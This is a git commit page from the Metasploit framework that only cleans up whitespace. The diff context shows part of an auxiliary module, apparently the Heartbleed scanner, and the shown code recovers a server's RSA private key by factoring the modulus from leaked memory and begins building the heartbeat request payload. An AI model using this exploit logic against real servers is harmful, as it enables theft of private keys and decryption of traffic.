Clean up whitespace. Protip: use commit hooks

bug/bundler_fix
Tod Beardsley 2014-04-17 16:28:07 -05:00
parent c34d548e50
commit d40ab039e4
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
1 changed files with 5 additions and 5 deletions

View File

@ -351,13 +351,13 @@ class Metasploit3 < Msf::Auxiliary
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
print_status("#{peer} - Scanning for private keys")
count = 0
print_status("#{peer} - Getting public key constants...")
n, e = get_ne
if n.nil? || e.nil?
print_error("#{peer} - Failed to get public key, aborting.")
end
@ -373,8 +373,8 @@ class Metasploit3 < Msf::Auxiliary
end
p, q = get_factors(bleed, n) # Try to find factors in mem
unless p.nil? || q.nil?
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
@ -393,7 +393,7 @@ class Metasploit3 < Msf::Auxiliary
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
end
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)